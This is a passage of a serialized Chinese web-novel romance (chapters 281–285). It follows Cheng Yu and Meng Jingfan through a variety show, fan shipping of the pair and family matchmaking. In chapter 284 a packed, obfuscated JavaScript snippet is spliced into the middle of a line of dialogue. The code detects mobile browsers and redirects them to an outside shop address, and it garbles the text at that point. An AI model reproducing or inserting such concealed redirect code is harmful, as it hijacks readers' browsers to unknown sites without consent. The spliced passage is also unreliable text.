他站在那儿,像一座沉默的山峰,却无端让人觉得可靠。 周启烽暗自稳住心神,明知故问:“你来寻我,到底为何?” 李幼潆暗自吐了气息,道:“我要你留下来,与我成婚。” 饶是周启烽一向稳重,此刻也有些惊了,他有些摸不清李幼潆。 然他一向不会庸人自扰,直来直去地问她:“为何?我南下只为寻医,并不想认祖归宗。” 他习惯了边陲山野,实在做不来丞相的公子。 他回来,于人于己都不利。 好端端的,人还未进都,竟已毁了一桩姻缘,这实非他本意。 李幼潆与他回答:“我并不想强人所难,然都城好进,出去便不容易了。” 这话听着像威胁,若不是从李幼潆口中所出的话。 周启烽拧了眉峰,道:“我并不想卷入都城纷乱。” “我知。”李幼潆看着他,“可自你踏入都城,所有人的目光便集聚于你一身,这其中最为关注的便是当今天子。” 周启烽:“……” 李幼潆:“我和韩戬——不,应当是我和你。你我尚在腹中时,丞相大人还在朔州上阳郡任职,我父在都时常与之通信,留家族玉佩交换彼此当做信物,这是腹中结亲的证据。后大都督胁迫天子废太尉一职,掌军政大权、限君主决策,纵权、纵欲、纵威,手段狠厉,人人自危,便是坐在最高处的那位也如履薄冰。我说的这些看似跟你没关系,然覆巢之下焉有完卵?我说这些,你明白吗?” 周启烽动了动唇,到底没说什么反驳的话。 “你必然知晓。”李幼潆肯定道,“近些年,北地外族频繁作乱,你深处其中,必然看得明白。” “大都督出身彭城,根基在南方,那里人口稠密,百姓富足,且有江河湖泊等天然屏障,一旦开战,他必然——” “必然什么?”周启烽截断她的话,“北方众多山脉地势险要,易守难攻,自古以来便是战略要地。” “且北方粮产颇丰,为大魏供足备焉,又为东西相接、南北贯通之要冲,可速调军队和转运补给,对大魏军事战略之布局至关重要。” “那里是异族骑兵南下中原的必经之地。” “你以为我们北方的军士和百姓保护的仅仅是北地吗?若是没有北地这些人的奋勇抵抗,你以为南方会生活富庶?北地一旦被攻陷,南边多少兵也抵挡不住异族的马蹄!” “谁敢弃北地放异族骑兵过境,无异于马踏中原,自掘坟墓,他敢吗?” “他有何不敢,昔年——” 周启烽骤然起身,不愿再听。 李幼潆赶紧追了出去。 剧情至此暂停,程逾脚一软,直接坐在了地上。 “妈呀,孟竞帆,你太有气势了,这么多拗口的台词,你到底怎么在这么短的时间内背下来的?” 程逾后背全都湿了,紧张的,她生怕给孟竞帆拖后腿。 “我说过你可以的。”孟竞帆转身在她身边蹲下,“我还是靠背的,你呢,虽说不是过目不忘,但记忆力可比一般人强多了,背词一点不输专业演员,演得也不错。” “拉倒吧。”程逾靠了下他肩头,“你没见我腿软了吗?” “过瘾吗?”孟竞帆转头看着她。 “过瘾。”程逾说,“怪不得你要做演员,这也太爽了。” 一个人的一生,大多时候是安静而枯燥的,演员就不一样了,可以体验很多种不同的人生,有意思多了。 “这个点差不多要吃午饭了,先休息一下,饭后接着拍。” 导演组确实是通知开饭了,孟竞帆拿出手机在群里问了声别人都领到了什么任务。 余兴然:【量身定制的剧本啊,我和施宇演情敌呢。】 孟竞帆一下笑到崩溃,程逾一脸莫名,问他:“笑什么?” 孟竞帆清了清嗓子,给她解释:“他们男团有很多cp粉,嗑他俩的属于小众,大众还是他俩在团里的定位是情敌,没想到节目组这么勇,对应现实了。” 程逾拿出手机进了群,看到了齐菲的吐槽:【让我演苦情戏,从这一刻开始,我不叫齐菲,我叫齐小草了,坚韧不拔。】 程逾爆笑,太有梗了。 奥运冠军父子的剧本中规中矩,体现父子情的,张雨年和苏琪拿了《白蛇传》的剧本,他俩没按照剧本演,即兴表演搞了个二创。 程逾推了下孟竞帆:“怎么办?我好想看年哥和琪姐的戏,一定很有意思。” 第281章 孟程(15) “结婚不要表演。” 程逾听着导演组的话,松了口气。 剧情今天拍不完,明天要继续接着拍。 收工回去后,五组嘉宾就白天的综艺剧情深入交流了一番。 对于不是演员的艺人来说,是有新鲜感的。 连续录制了一个月,正片播出前几天,程逾终于回到了雁清。 孟棠看到人,把她上下打量了一番,说:“好像瘦了。” “能不瘦吗?除了没上天下海,什么体力活都干了。”程逾挽着孟棠回屋,“师父,您最近怎么样?” “好得很。”孟棠说,“国内的录完,国外的什么时候录制。” “节目播出第二天走。”程逾说,“这一个多月我都没回来,有点想您了,回来看看,川叔呢?” 孟棠说:“没在雁清,我过两天也去z市。” “所以是为我留下来的啊?”程逾蹭了蹭孟棠的肩膀。 “别撒娇。”孟棠将她带到书房,“坐下,我有事跟你说。” “怎么神神秘秘的。”程逾隔着书桌,在孟棠对面坐下。 “小鱼,马上28了吧?” “师父。”程逾预感不妙,“我还是先去趟工坊吧。” “站住,我让你走了?” 师命不敢为啊,程逾又坐了回去,她知道孟棠要和她说什么。 “二十七八的人了,打算什么时候谈恋爱?” 果然吧。 程逾无奈道:“恋爱又不是想谈就谈的,您怎么也学着人家开始催了?” “我又没催婚。”孟棠说,“只是让你谈谈恋爱,觉得合适就带回家。” “可我去哪儿找啊。” 孟棠笑了声:“还真有这么一位,z市的,竞帆奶奶无意中说起了你,对方有点兴趣,就看你愿不愿意见人家了。” “做什么的啊?”程逾问。 “家里做点小生意吧,男生是自己创业,爱好也挺广泛的,如果你愿意,可以把联系方式先给人家,你俩可以聊聊看。” “行吧,”程逾没再拒绝,“我聊聊看。” 当天,程逾就和对方加上了联系方式,不过两人什么也没聊。 三天后节目正式播出,孟竞帆在谈一个影视项目,他的公司就是魏思沅开的,总部迁移到首都了。 要等国外录制,两人才能见到面。 首期播出当日,程逾涨了上百万的粉,但第一期节目最爆的热点是司明瀚贡献的—— “他娘嘞,司明瀚,这是竞速真人秀,不是恋综啊。” “司明瀚你告诉我,你是不是对小鱼一见钟情了?” “哈哈哈哈哈哈亲爹也不要了。” “司显荣的表情巨搞笑,第一期就被亲儿子卖了。” “小鱼好有魅力。” “不行,逾你同帆是真的,我誓死捍卫。” “拆cp来了?司明瀚我劝你赶紧收手。” “评论区大多玩梗,只有我觉得他真的喜欢小鱼吗?” “包的啊,看到小鱼眼睛都亮了。” “啊啊啊为什么这对我也觉得好嗑,可我放不下孟竞帆的颜值啊。” “司明瀚和孟竞帆的颜值不在一个水平上,美女还是帅哥配吧,养眼。” “司明瀚,你看着程逾的样子真的很呆。” “程逾和孟竞帆的关系好好嗑啊,你们觉得呢?” “有点童养媳的意味。” “这样看,小鱼的身世挺凄惨啊,完全救赎文来着。” 程逾看到这里,鸡皮疙瘩起了满身,救赎文?她和孟竞帆? 这些人可真能编。 看完节目,程逾刚打算睡觉,司明瀚发了条语音过来,语气挺局促的。 他向她解释了一通,程逾其实没怎么听,她在打瞌睡。 等司明瀚说完,程逾眯着眼说:“没事没事……” 司明瀚察觉到自己打扰了她,挂了电话。 国外的部分录制内容虽然麻烦,但也顺利完成。 综艺放到一半,程逾出门都得戴帽子和口罩了。 有一次她陪着孟棠去z市一起过生日,被粉丝堵在了商场电梯里。 很多都是嗑她和孟竞帆的,一个劲问她关于孟竞帆的信息。 当时没有就在旁边,程逾差点没买块豆腐撞死,这也太尴尬了。 等粉丝们走了,程逾才结结巴巴向孟棠解释,哪知孟棠丝毫不在意。 好在网络上关于程逾的信息非常少,魏思沅的公司又实时监控,没有泄露她在雁清居住,很多粉丝以为她一直在z市。 而cp的事,孟棠早就知道了,有魏思沅在,想不知道都难。 程逾录制后半程,她和魏川在z市住了一段时间。 魏思沅拿着两人的cp超话给她科普,在看了一段粉丝剪辑的情侣向视频后,孟棠沉默了许久。 魏思沅抵了抵她:“看着什么感觉?” 孟棠:“……和谐的感觉,粉丝太厉害了。” “哈哈……”魏思沅才不信,“你是想说看着挺好嗑的吧?” 孟棠保持沉默,她作为母亲和师父,说什么都不合适。 “你还别说,我就没见竞帆对别的女生这样……怎么说呢,我说了你别生气,有点犯贱的感觉,就像小学生拽小女生的头发来吸引注意力一样。” “……” 孟棠自己也感觉到了。 但女人和男人不一样,她当晚把视频给魏川看了,魏川一时也有些愣。 “他俩平时就这么相处的,怎么剪出来这么怪?” 孟棠失笑:“你有时间问问竞帆,我是觉得他对小鱼好像不太一样,从小到大都是。” 乍一看是姐弟相处,可孟竞帆小时候就排斥叫她姐。 小时候是因为家里莫名其妙多出来一人,孟竞帆怕被抢走了父母的爱才排斥程逾的。 可后来长大了,他还是没叫过姐,这个问题,她一直都没和孟竞帆聊过。 程逾说小鱼叫着也亲切,让她不要管,除了不喊姐,孟竞帆在其他方面做得都还不错。 “等他回来我跟他问问,他现在不是进组了吗?” 孟棠幽幽瞥了眼魏川:“等他出来都过年了。” “没办法,总是联系不上人。”魏川说,“他一拍戏,长年累月地消失。” “那就再等等,过年总会回来的吧?” “还真不一定。” “……” 第282章 孟程(16) “小孟,你这演的不对。” 孟竞帆第一次在剧组遇到了瓶颈,他连晚上睡觉都是导演这句话。 明明不是一句重话,但因为白天导演一直在重复,他也一直没有拍好,以至于有点条件反射。 孟竞帆抓了把头发,盯着屏幕中爱要溢出来的画面怔怔失神。 这是他第一次演情感戏,毕竟以前还小。 可每次和女演员接触,他的表演都不太对,导演还问他有没有谈过恋爱。 孟竞帆实话实说:“没有。” 话音刚落,剧组里一片哄笑,就连跟她对手戏的女演员都十分惊讶,又追着问了遍:“没谈过恋爱?” 孟竞帆不明所以地摇了摇头。 “难怪。”女演员哭笑不得,“那你有喜欢的人吗?你可以通过想象过这段戏。” 孟竞帆按照她的方法试了试,被导演再次喊卡:“咱也不是吻戏,咋就那么难?” 孟竞帆再次调整状态,勉强过去,但他能感觉到,导演对这段表演是不满意的。 他又想起了在学校时被老师要求演爱情戏的恐惧。 因为这事,同学们都玩成了梗,孟竞帆那会儿想着去谈一个吧,就跟程逾说了这事。 程逾当时的表情十分无语,说:“哦,你不喜欢人家,你要跟人家谈恋爱,欠你的?” 孟竞帆当即打断了这个想法,想着感情的事说不准,说不定哪天缘分就来了。 直到他毕业,这缘分也没来。 孟竞帆本人是有点洁癖的,他有点排斥接吻,但这事,谁都不知道,要是传出去,他也不用当演员了。 为了第二天的戏,孟竞帆关掉电视,转头回了卧室。 做了一些乱七八糟的梦,可惜他一个也没记得。 孟竞帆这部剧要拍到年底,正好可以赶回家过年。 雁清的老宅里,程逾咳了两声,孟棠给她倒了水:“怎么样了?” “快好了。”程逾端过温水喝了口。 前两天她被冷风吹到感冒,她自己倒是没什么,惹得孟棠总忍不住担心。 “师父,咱们今年真要在雁清过年啊?” 这些年,他们都在z市过年。 “是啊,爷爷奶奶去国外玩了,咱们就在家吧,懒得动了。” 程逾开心地点了点头,雁清年味足一点。 “竞帆不知道什么时候回来,他有跟你说吗?”孟棠问程逾。 程逾回:“除夕下午到家,他没跟您说吗?” 孟棠摇了摇头。 “这个孟竞帆。”程逾嘀咕了句。 年底,魏川的公司也忙,程逾拉着孟棠去街上买过年的装饰物品。 有些东西看上去很土,但莫名的和家里的老宅很适配。 叮铃啷当的全都挂上,年味就出来了。 “师父,买这个灯吧,去年就没买。”程逾指着柿子灯说,“去年买的种类太多了,这个没买成,今年我得第一个买这个。” “行。”孟棠笑道,“你爱买什么买什么。” 程逾搜刮了一堆东西回家,刚到大门口,看到了魏川的车。 他现在基本上是司机接送,坐商务车。 孟棠看到车,不由加快了脚步。 程逾笑着跟在身后,心里嘀咕这两人都多少年了,还这么难舍难分。 进门后,果然看到魏川已经回来了,程逾打了招呼,将买来的东西分类摆好。 就在这时,有人从她身后拍了下,程逾回头瞧见周淼,一下抱住了人:“什么时候回来的?” “刚刚到家就来找你了。”周淼拉住她,“走,去你房间聊。” “行,先去给我师父和川叔打个招呼。” 周淼自然不会忘记,和孟棠魏川客气了一番,如愿进了程逾的房间。 她悠闲地坐在沙发上,把程逾打量了一遍:“好久没见,怎么感觉你又瘦了?综艺早就录制完了,还没胖回来吗?” “光吃不胖啊,羡慕吧?”程逾故意逗弄她。 周淼“嘁”了声:“反正都挺好看的,怎么样啊你,这段时间忙什么呢?” “这段时间东麓雁清两头跑,你呢,放假多少天?” “国家法定节假日,我啊,牛马的命。” “要不你回来吧,就在我木雕馆里工作,在这工作的又不是所有人都得懂木雕。” “还是别了,都说好朋友不能在一起工作,远香近臭的道理我还是懂的。” 程逾:“……咱俩可是从小一起长大的。” “越是这样,越要珍惜啊。”周淼说,“小鱼,我跟你说件事吧。” 程逾看过去:“你说啊,扭扭捏捏干什么?” “我谈恋爱了。”周淼说。 “我去,谁啊?”程逾来了兴趣。 “就是工作的时候认识的,他是我新来的上司。” “啊?你搞办公室恋情?”程逾有些惊讶。 “公司可以谈恋爱的,只是不影响工作就好。”周淼说,“而且我俩刚在一起,谁都没说。” “多大的领导啊?”程逾问。 “就是一个部门的经理,比我大四岁,长得还不错,身高183,z市人,有房有车。” 条件听起来中规中矩,程逾不知道为什么不太得劲,她问周淼:“你俩谁先告白的?” 周淼举手:“我先告白的,但我感觉到他喜欢我我才主动的。” “……他直接答应了?” “没有,让我考虑清楚。我真的回去考虑了一个礼拜,再次跟他说的时候,我俩确定了男女朋友关系。” 程逾见周淼满脸小女人的娇羞,将到唇边的话咽了回去。 “小鱼,你为什么不谈恋爱啊?” 程逾拿出手机晃了下:“这不是在接触呢嘛,家里介绍的。” “……我都无语了,怎么还在接触,你之前录综艺的时候就跟他加上联系方式了吧?” “那能有什么办法?”程逾耸了耸肩,“我那会儿没空,录制综艺的休息时间回一两句,孟竞帆就说我不敬业。” 周淼沉默了一瞬,抵了抵程逾:“小鱼,你有没有觉得,孟竞帆管的很宽啊?” “有吗?”程逾一脸疑惑,“我没觉得啊,你为什么会有这种想法?” 周淼说:“你大学的时候,好几次恋爱,不都是因为他搅黄的?” “不能说是搅黄吧。”程逾说,“他有些话也挺对的,而且我也确实不喜欢那些男生,顺水推舟罢了。” 没救了。 “那你在网上看到嗑你俩cp的有什么感觉吗?” 程逾摇了摇头:“没什么感觉。” “呵呵。”周淼掏出手机,“我给你发个东西,今晚在被窝看,反正白天不能看。” “什么啊?为什么白天不能看?” “反正不能看。”周淼见时间差不多了,将好东西发到程逾手机后起身,“我先走了,刚到家就来你这儿了,我妈指不定又得说我两句。” “行,我送你到门口。” “客气什么啊,外面冷,你待着吧,记住,晚上不要忘了看我给你发的东西。” “知道了。” 周淼之后没多久,英姐做好了饭。 程逾心里记挂着她发的“东西”,早早回了房间,躺进了被窝。 第283章 孟程(17) “发的什么?”程逾嘀嘀咕咕把txt打开了。 看到“孟程甜虐向,我的未来只有你”的标题,她皱了下眉头。 周淼给她发的是同人文,她和孟竞帆的。 乍一看开头没什么问题,是她和孟竞帆录完综艺后的联想。 “两人一同进了房间,孟竞帆似笑非笑地看着程逾……” 程逾下意识读了出来,眉心一蹙:“似笑非笑?这什么表情?” 她还真没在孟竞帆脸上看到过。 “程逾被他看得满脸涨红……” “什么鬼啊。”程逾下意识摸了脸,不知道是不是心理作用,真觉得有些烫。 她有些看不下去了,关了手机。 可翻来覆去睡不着,两分钟后,程逾再次打开手机,将被子拉高了些。 一目三四行,程逾直接跳过令人又尴尬又羞耻的对话,然后发现自己就不该跳过。 因为下面开始少儿不宜了,看到“腹肌”“胸肌”“细腰”等字眼,程逾脸皮一下烘热,吓得扔掉了手机。 这就是同人文? 威力太强了。 程逾吞咽口水,恼羞成怒地拿过手机,给周淼发去语音:“我真服你了,给我发的什么东西?” 周淼很快回道:“是不是很刺激啊?” “刺激你个鬼啊。” “你这什么语气啊,心虚了啊?” “我就不该信你。” “我可是小橘子啊。”周淼说,“你俩的cp粉头子,以前都没敢告诉你,嘿嘿。” “……周淼,你嗑什么不好?”程逾震惊地瞪着眼睛,“你不知道我跟孟竞帆的关系吗?” “你俩啥关系啊?”周淼哼了声,“你俩是可以谈恋爱的关系啊,你把他当弟,他也没把你当姐啊。” 程逾:“……我现在满脑子是孟竞帆的腹肌你知不知道。” 周淼笑了起来:“我知道,你俩在国外录制的时候,酒店出问题,他用你的浴室没穿上衣嘛,我看见了啊,你是不是看文想起来弟弟的好身材了?” “请把你的cp脑给我摘掉。”程逾恨不得穿过屏幕给周淼的脑子控控水。 “小鱼,你看过你俩的节目吗?”周淼突然正儿八经地问了句。 “就看过第一天,怎么了?”程逾有些心虚,自己录制的节目都没看。 孟竞帆还问过她有没有看,程逾清楚地知道他在这一方面的小心眼,就说自己看了,至今他也不知道,其实她没看。 当时都快累死了,她才懒得再去回顾一遍。 “那我建议你自己去看看,说不定你能发现问题。” 程逾蹙眉:“有什么问题?” “我说了也不好玩了。”周淼说,“你可以自己去看一遍,提醒你看自己和孟竞帆的互动,你思考一下为什么会有那么多人嗑你俩的cp。” 程逾本想反驳两句,又止住了话头。 一个人嗑没问题,那么多人嗑说不定真有问题。 “小鱼,你就看你俩的片段,你看完要是毫无波澜我佩服你。” “你俩的相处模式……算了,你自己看吧,从第三视角看一下,说不定就有收获了。” 程逾应了声,挂断了电话。 今夜,程逾有些没睡好,第二天刷牙的时候,脑子里都是周淼的话。 “小鱼,怎么不吃饭,光用筷子拨弄什么?” 程逾晃神,下意识“嗯”了声。 孟棠抬手摸到她额头:“你怎么了?” “没事。”程逾终于清醒过来,“师父,我昨晚看恐怖电影了,有点被吓到了。” 孟棠轻轻白了她一眼:“大晚上的瞎折腾,怕就白天看,不是故意吓自己嘛。” “没事。”程逾笑道,“我不挺好嘛。” 吃完饭,程逾回了房间。 她嫌手机屏幕小,拿了平板去了沙发上,二郎腿一敲开始看自己和孟竞帆的切片。 还用小号潜进了cp粉的超话。 超话里有他俩的合集视频,都是粉丝搞的。 看到她到处在找视频,有粉丝给她私信:【宝宝,你看的是没有弹幕的,你可以去找有弹幕合集的。】 评头论足?程逾犹豫了下,回:【我还是看无弹幕的吧。】 【你相信我,有弹幕的才是精华。】 程逾被忽悠去看了弹幕版本的切片。 第一期每组的时长都是差不多的,程逾回想了下当时,觉得她和孟竞帆表现得挺正常的。 结果进去一看,都怀疑自己了。 她看着弹幕怔怔入神—— “我靠,我没有看错吧?我豹豹在干嘛?他在干嘛?” “他在用修长干净,骨节分明的手指掰了猫猫的下巴,这个动作好欲啊。” “啊啊啊他怎么这么会,他看她的眼神也好温柔啊。” “两人真的很幼稚哎,但又好和谐,青梅竹马姐弟恋,我又行了。” “可看着不像姐弟恋,小鱼个头不算高,看着挺娇小的,老孟长得确实man。” “小鱼老孟?我这shi一样的笑点。” “他俩真的很有cp感是怎么回事?谁来懂我?” “啊啊啊啊他俩还说小秘密,导演问了说什么,两人一脸心虚的样子,这跟谈了有什么区别?” “可小鱼感觉把老孟当弟弟啊。” “更好嗑了怎么回事?” “兴奋了。” “吃橘子那边快要甜死了,谁来懂我。” “我从今天开始,水果只吃橘子,因为甜。” 程逾看得目瞪口呆,怎么能有这么多的解读? 佩服啊佩服。 程逾默默发了两条反驳的话,差点被请出超话。 她决定还是先看再说。 手机调了静音,她没注意到有电话进来,越看越觉得剪辑版的有点诡异的暧昧。 她下意识啃着指甲,看得入神。 不知过了多久,她从躺着变成趴着,因为背对着门,她并不知道有人进来了。 孟竞帆轻手轻脚地走过去,打算吓唬程逾,一靠近,看到了两人的综艺切片。 孟竞帆挑了下眉,双手抱臂静静看了会儿。 半晌,他轻笑着问:“看什么呢?” “看综艺呢。”程逾下意识回了句,等她意识到不对劲时已经来不及了。 孟竞帆弯腰凑近,在她耳边取笑:“哇哦,你也嗑cp啊?” 第284章 孟程(18) “咚”一声,平板落地。 程逾被孟竞帆吓着了,一言不发地瞪着眼看他。 孟竞帆“啧”了声,绕过沙发头捡起了地上的平板递给她:“没坏,继续看吧。” “我看什么啊。”程逾抽过平板就要走,“我随便翻翻,无意中看到了。” “你拖鞋穿反了。”孟竞帆提醒。 “我喜欢。”程逾出了门,才将拖鞋换过来。 她敲了下自己的头:“完了,以后在孟竞帆面前都抬不起头了,他得帮我当变态吧。” “给你当什么?” 程逾又被吓了一跳,她僵硬地转过身体,看着不知道什么时候跟上来的孟竞帆。 “又瞪我。”孟竞帆拽了下她的辫子。 “孟竞帆。”程逾后仰,“你手怎么这么欠?” “孟竞帆!你皮痒了?” 孟竞帆松了手,转头对魏川嬉皮笑脸:“爸。” “你怎么提前回了也不说一声?”魏川示意他过去,“怎么回的?” “三轮车。” “三轮车?”程逾扑哧乐了,“大明星坐三轮车回村吗?” 孟竞帆哼了声:“你懂什么,这叫接地气。” 他因为提前回,什么票都没买到,一路开车回的,结果下车堵得要死,他索性上了老大爷的三轮车,让司机回了。 “川叔叫你。”程逾踢了孟竞帆一脚,“赶紧过去啊。” 孟竞帆说:“去我房间拿礼物。” “知道了。” 孟竞帆拍戏在外,经常会给家人带礼物,人人有份。 而且都是他自己挑的,家里条件优渥,谁也不缺什么,他就挑一点小巧思的东西,反倒受人欢迎。 程逾去了他的房间,在床头柜上发现了一只木色盒子。 她走过去打开,是一个地域特色的符号吊坠。 符号看着像图腾,程逾对于这一类东西很喜欢,她将吊坠拿回书房,放置到**架上。 她的这个博物架以前都是放木雕的,可现在放的都是孟竞帆带回来的天南地北的玩意。 程逾走到窗口看了眼院子,没见孟竞帆,将房门反锁,又拿了平板开始看。 她既然看了,就一定得找出周淼所说的问题来。 正厅里,孟竞帆坐在一侧的单人沙发里。 茶几上煮着茶,他给自己和魏川倒了杯,问:“爸,你是不是有什么事儿跟我说?” 魏川点点头:“以后少跟小鱼没大没小。” 孟竞帆气笑了:“我怎么跟她没大没小了,我俩小时候就这样。” 魏川:“……” “到底怎么了?怎么突然管起这事来了?”孟竞帆不解,“我跟她从小不就这德行。” 魏川试探性地说:“主要是你俩都大了,以后各自结婚,再这样没大没小,你俩的另一半能高兴吗?” “怎么扯到我俩另一半身上去了?”孟竞帆还是一脸懵逼,“难道我为了另一半以后就不跟小鱼说话了?另一半也没这么大权利吧?而且我才23,最起码十年都不会结婚。” “你就是二十年不结婚也不关我事。”魏川白了他一眼,“你要不要想想小鱼几岁了?她已经到了结婚的年纪。” 孟竞帆又是一愣,程逾性格大大咧咧,却长得娇小,从外面根本看不出来具体的年纪。 比他大了五岁,今年已经28岁。 “不是,好端端结什么婚啊,她也没对象啊。” 魏川干咳了声:“综艺结束后,有人给介绍了一个,她一直和人家聊着呢。” “什么?”孟竞帆震惊,“怎么没人跟我说?” “跟你说什么?”魏川观察他,“小鱼谈恋爱跟你有什么关系?” “我——”孟竞帆一时词穷,确实跟他没关系。 “谁啊?”孟竞帆蹙眉,“雁清的吗?小鱼同意了?” 魏川耸耸肩:“反正聊着呢,以小鱼的性格,不喜欢应该也不会聊这么久吧。” “你们看了吗?靠谱吗?” 魏川点了点头:“小孩还行,你妈妈也这样觉得,关键是小鱼不排斥,谈几年就能结婚了。你已经长大了,不许再像以前把她的事搅黄。” “我什么时候搅黄她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639465|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈恋爱了?”孟竞帆狡辩,“她大学时候接触的那些男生性格都有问题,她如果真喜欢,也不是我挑刺一下就不接触了,这次你们口中很好的男人,我也得见一下,别是为了咱家的钱来的?” 魏川:“……就你家有钱?” 孟竞帆:“我家是有钱啊,这栋老宅都值不少了。” “滚蛋。”魏川起身,“反正我跟你说的自个儿掂量一下,再搅合小鱼谈恋爱,小心老子揍你。” 孟竞帆哼了声,起身去找程渔。 程逾听到拍闷声,赶紧关了平板,去开了门。 “听我爸说,你在谈恋爱?” 其实还没确定恋爱关系,程逾想起同人文和cp视频,看着他点了点头。 她现在唯一庆幸的是孟棠不上网,不然看见这些得把她赶出家门吧? “真谈了?”孟竞帆心里不得劲,“什么名字啊?家住哪里?父母健在吗?家庭和睦吗?” “要不你自己问问他?”程逾说,“我和周淼约好了下午一起出门,他送我们。” 孟竞帆:“……我可以送你们啊。” “不用。”程逾干巴巴地笑了声,“你拍戏这么久,肯定累了,但如果你想见他,你也可以跟着。” “谁愿意跟着。”孟竞帆冷嗤,转身走了。 程逾看着他的背影松了口气,打开手机给周淼打了电话。 周淼很快接通:“你看完了?” 程逾沉默了。 “怎么不说话?看完了没有?” “看了一半吧。”程逾有些低迷,“不敢看了,淼淼,下午陪我出去走走。” 周淼察觉到她的语气不对,忙道:“行,你吃完饭来找我,或者你现在来也可以啊,咱们出去吃?” 程逾看了眼时间,应道:“行吧,我跟川叔说一声。” 孟棠今天不在,她忙好馆内的事,要和魏川飞一趟国外,亲自去接魏云舟。 来回估计要三五天,英姐年纪大了,今年回家含饴弄孙,至于方姐,也早已成了老太太。 程逾和魏川打了声招呼,出门了。 第285章 孟程(19) 程逾和周淼约在了市中心的商场,她没什么逛的心思,亦步亦趋陪着周淼。 “不逛了,瞧你这心不在焉的样子。”周淼说,“走吧,吃饭去。” 周淼喜欢辣菜,两人去了湘菜餐厅。 点了菜,周淼笑着问:“看完了?” 程逾点了点头,有些苦恼:“我发现了一个问题。” “嗯,你说。”周淼挑了下眉。 “我发现我和孟竞帆的所有肢体接触,他们都能神奇地嗑到。”程逾说,“我自己看着都能被洗脑的那种程度。” 周淼:“BGM一配,确实很有氛围感,但仅仅如此吗?” 程逾沉默了几秒,说:“这个问题其实我被别人也问过,就是一起录制综艺的苏琪,她说我和孟竞帆的相处模式像对抗路情侣。” 当时的她不以为意,解释了两句没放在心上。 可能张雨年和孟竞帆也说过,两个正主不放在心上,别人自然也不好说什么。 可身边亲近的人都觉得不对劲了,那就是他俩的问题了。 “你看,不止我一个人这么想。”周淼摊手。 “可你们以前怎么没说我和他的相处模式有问题?”程逾问。 关键是孟棠和魏川也不曾说过,她和孟竞帆当时还小,自然更不可能发现。 “在亲情的加持下,其实你们的相处在别人看来没什么毛病,可一旦被镜头放大,很多东西也就变了味。”周淼说,“我看了综艺后,只有一句话想跟你说,孟竞帆以后对她女朋友估计都没对你好,到时候他女朋友有意见,你就说事姑。” “事姑?”程逾蹙眉,“啥意思?” 周淼:“事事的大姑子。” 程逾:“……” 服务员上了菜,程逾一时有些乱,拿起筷子,说:“先吃饭吧。” 周淼微微倾身:“你不会喜欢孟竞帆吧?” “咳咳……” 程逾脸色憋得一阵红。 周淼赶忙拍了下她的后背:“激动什么?喜欢就喜欢呗,你反正也不想离开你师父,和他在一起一劳永逸。” 程逾咳得更厉害了,她喝了口白水,说:“辣椒呛里面弄不出来了。” 周淼:“别转移话题。” 程逾摇摇头:“没转移话题,真被呛到了,也被你的话惊到了。” “我也没说什么吧?” “你说我喜欢孟竞帆。”程逾淡淡提醒,“你是和我一起长大的吧,你不知道我喜欢什么样的?” 周淼摇了摇头:“不知道,你喜欢什么样的?” “我喜欢……我喜欢什么样……我……” “嗯?”周淼挑眉,“怎么不说了?自己也不知道吧?” “那是因为我的一颗心都在事业上。”程逾反驳,“师父养大我,教会我手艺容易吗?我哪敢懈怠啊,我得做到让所有人满意才行。” 周淼哼了声:“你是神啊,能让所有人都满意?再说你师父对你确实很满意啊,木雕馆基本是你在打理了。” “这些都是我应该做的。”程逾说,“但孟竞帆是我师父的大儿子,他虽然姓孟,但人家骨子里躺着魏家的血,他要结婚的对象你觉得能是我这样的吗?下次这种话别说了。” 程逾处在这个位置,确实不适合和孟竞帆在一起。 周淼问:“那你和张延处的怎么样了?” “挺好的,”程逾垂眸吃饭,“今年过年,或许能确认恋爱关系。” “真的假的?”周淼一愣,“你喜欢他吗?” “喜欢很重要吗?”程逾看向她,“喜欢对别人来说或许重要,对我而言一点不重要。” 她小时候就没有依仗,为了生存,她一个小孩子一年四季雨里来风里去。 来了雁清后,程逾特别珍惜在这里的一切。 能拜孟棠为师,是她想都不敢想的曾经,她师父还那么温柔,将她当做亲生的看待。 小小的她就知道长大要报答人家的,白眼狼的事情她也做不出来。 程逾拿出手机,给张延发了条信息。 周淼瞥见愣了下:“你会不会行动太快了?约他下午看电影啊?那我呢?” “你一起啊。”程逾理直气壮,“顺便掌掌眼。” “虽然没有孟竞帆帅,但在一堆普通男人中已经很顶级了。”周淼说,“你俩去约会,我去当电灯泡啊?合适吗?” 程逾:“有什么不合适的,相处过程中有明显的弊端,我会直接pass,下一个更好。” “你这劲儿,感觉今年就要带一个回去似的。”周淼吐槽,“你别是为了躲避孟竞帆吧?” “胡说什么,我躲他干什么。”程逾放下筷子,“我也确实到了结婚的年纪了,也该谈恋爱了吧。” “行行行,你谈,我在一旁当骑士好吧?” “好,赶紧吃,吃完去电影院等他。” 周淼加快吃饭的动作。 商场里就有影院,程逾和周淼比张延先到。 他到的时候,手里拎着两杯奶茶。 程逾接过后给了周淼一杯,张延说:“票我已经买好了,我现在去买爆米花?” 周淼爱吃,程逾点了点头。 等他去了柜台,周淼将人从后面打量了一下,抵了抵程逾: “挺帅的,就是着装有点正儿八经,他家里做什么的?” 程逾吸了口奶茶,甜的要死,她蹙了下眉,说:“他爸爸是做旅游业的,因为总和合作伙伴和政府部门的领导打交道,每年都会在我们这里订一批木雕送礼,他爸爸和我师父认识。” “那家里条件应该不错。”周淼说,“你师父都说这家人还可以,想必错不了。” 程逾“嗯”了声:“我当然相信我师父。” 以往张延约她,她都找理由搪塞。 很快,张延买了爆米花过来,程逾不太喜欢吃,只是拿在手中,偶尔捏一个消磨时间。 电影放了两个多小时,出来的时候夕阳正美。 张延欲言又止,周淼看懂了,说:“要不你俩再逛逛?” “好。张延一口答应,程逾只好歇了回去的心思。 天黑了程逾还没回,孟竞帆给她打了个电话,但是没人接。 想起她和周淼出去,孟竞帆又转头给她打了电话,得到了程逾和张延约会的结果。 